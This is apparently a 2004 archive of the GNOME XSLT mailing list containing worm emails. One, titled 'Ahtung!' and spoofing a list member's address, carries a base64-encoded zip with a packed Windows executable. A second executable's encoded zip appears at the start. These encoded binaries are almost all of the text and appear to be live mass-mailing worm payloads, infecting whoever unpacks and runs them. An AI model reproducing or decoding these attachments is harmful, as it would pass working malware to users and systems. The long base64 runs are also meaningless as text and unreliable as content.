ATPqQS2b1g7TomZRJwKKTRjUQA7fAZFBjUHLAbJkUMneAbcMeRNCAbMKRgHss2FQjAltcGkK bhjUO3Cnk3t+SygV0QrkaW8TCnjvUHlDbGFnvUQlO1HjDQZLFvXjAfJ8SVrQVuRB3ExIBGqM AhgBMAhVsm5SlHRjc7olVEcB0QxvAIkK1qkKhbOwBGoB9u+Z1EigTghyAYFaCLbTEKjTbDam ADGhOs02F7Kc5dmMGJE5AQuSiGWzyfTMLM8D+QQAQg8BDmCiXECOXhQqA5AvEsS5bwAEoPm6 qE9kOpAD1SFqtwJXqADEkHJyKs4MDkLU965sG/sGxCwPGckS9FQwownJslIYc8wdQtRsAOvE an8ovpUnG7TGc5IAAAAAAAAAgAQA/wAAAAAAAAAAYL4AgEAAjb4AkP//V4PN/+sQkJCQkJCQ igZGiAdHAdt1B4seg+78Edty7bgBAAAAAdt1B4seg+78EdsRwAHbc+91CYseg+78Edtz5DHJ g+gDcg3B4AiKBkaD8P90dInFAdt1B4seg+78EdsRyQHbdQeLHoPu/BHbEcl1IEEB23UHix6D 7vwR2xHJAdtz73UJix6D7vwR23Pkg8ECgf0A8///g9EBjRQvg/38dg+KAkKIB0dJdffpY/// /5CLAoPCBIkHg8cEg+kEd/EBz+lM////Xon3uVsAAACKB0cs6DwBd/eAPwB18osHil8EZsHo CMHAEIbEKfiA6+gB8IkHg8cFidji2Y2+AJAAAIsHCcB0PItfBI2EMKSzAAAB81CDxwj/lgi0 AACVigdHCMB03In5V0jyrlX/lgy0AAAJwHQHiQODwwTr4f+WELQAAGHpWmL//wAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAwAAACAAAIAOAAAAYAAAgAAAAAAAAAAA AAAAAAAAAQABAAAAOAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAAUAAAAKTAAADoAgAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAEAAQAAAHgAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAJAAAACQwwAA FAAAAAAAAAAAAAAAoJAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAwMDAAICAgAAAAP8AAP8AAAD//wD/AAAA /wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAACHd3d3d3d3d3d3d3cAAAAAj//////////////3AAAAAI//////////////9w AAAACP/3d3d3d3d3d3f/cAAAAAj/9///f/d3/3d//3AAAAAI//f//3/3d/93f/9wAAAACP/3 d3d393f/d3//cAAAAAj/9///f/d3d3d//3AAAAAI//f//3/3d/93f/9wAAAACP/3d3d393f/ d3//cCgoKCgoKCgof////3d//3CCgoKCgoKCgn//9/////9wKP///////yh3d3d3d3//cIL/ ///4KCiCf//3//9//3Ao8oKCgvKCKH//9///f/9wgvgoKC8oL4J3d3d3d3//cCjygoLygo8o f//3//9//3CC/ygvKCgvgn//9///f/9wKP/y8oKP/yh3d3d3d3//cIL/LygoKP+Cf//3//9/ /3Ao8vKCgoKPKH//9///f/9wgvgoKPgoL4J3d3d3gAAAACjygo//go8o/////4//eACC//// ////gv////+P94AAKCgoKCgoKCh3d3//j3gAAIKCgoKCgoKC/////4eAAAAAAAAI//////// //+IAAAAAAAACP//////////gAAAAAAAAAiIiIiIiIiIiIAAAAD///////////4AAAD+AAAA /gAAAP4AAAD+AAAA/gAAAP4AAAD+AAAA/gAAAP4AAAD+AAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAMAAAAHAAAAD/4AAB/+AAA/ /gAAf4iTAAAAAAEAAQAgIBAAAQAEAOgCAAABAAAAAAAAAAAAAAAAADDEAAAIxAAAAAAAAAAA AAAAAAAAPcQAABjEAAAAAAAAAAAAAAAAAABKxAAAIMQAAAAAAAAAAAAAAAAAAFbEAAAoxAAA AAAAAAAAAAAAAAAAAAAAAAAAAABgxAAAbsQAAH7EAAAAAAAAjMQAAAAAAACaxAAAAAAAAKrE AAAAAAAAS0VSTkVMMzIuRExMAGFkdmFwaTMyLmRsbABTSEVMTDMyLmRsbAB1c2VyMzIuZGxs AABMb2FkTGlicmFyeUEAAEdldFByb2NBZGRyZXNzAABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3Nl S2V5AAAAU2hlbGxFeGVjdXRlQQAAAEZpbmRXaW5kb3dBAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQSwECFAAKAAAAAAAgklsw Sh/MnQA+AAAAPgAADAAAAAAAAAAAACAAAAAAAAAAbnB0ZWxxaWMuZXhlUEsFBgAAAAABAAEA OgAAACo+AAAAAA== ----------obdmcraawthbguyqojxp-- From aleksey@aleksey.com Fri Feb 27 18:20:11 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from fortega (unknown [209.77.207.234]) by mail.gnome.org (Postfix) with SMTP id D4C96187B7 for ; Fri, 27 Feb 2004 18:20:08 -0500 (EST) Date: Fri, 27 Feb 2004 15:20:05 -0800 To: xslt@gnome.org From: aleksey@aleksey.com Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------ttxcugqudialnnhpevpc" Subject: [xslt] Ahtung! Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: ----------ttxcugqudialnnhpevpc Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit ----------ttxcugqudialnnhpevpc Content-Type: application/octet-stream; name="cbcbdaadc.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="addc.zip" UEsDBAoAAAAAAOB5WzBKH8ydAD4AAAA+AAAMAAAAbXRqeGVhbGMuZXhlTVqQAAMAAAAEAAAA //8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2AAAAA4f ug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0K JAAAAAAAAADEoj5LgMNQGIDDUBiAw1AYgMNQGIPDUBgO3EMYr8NQGGjcVRiBw1AYfONCGIHD UBhHxVYYgcNQGFJpY2iAw1AYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUEUAAEwBAwBCRUBA AAAAAAAAAADgAA8BCwEFDABAAAAAEAAAAHAAALCwAAAAgAAAAMAAAAAAQAAAEAAAAAIAAAQA AAAAAAAABAAAAAAAAAAA0AAAABAAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAA AAAAAAAAAACkwwAAFAEAAADAAACkAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAABVUFgwAAAAAABwAAAAEAAAAAAAAAAEAAAAAAAAAAAAAAAA AACAAADgVVBYMQAAAAAAQAAAAIAAAAA0AAAABAAAAAAAAAAAAAAAAAAAQAAA4C5yc3JjAAAA ABAAAADAAAAABgAAADgAAAAAAAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 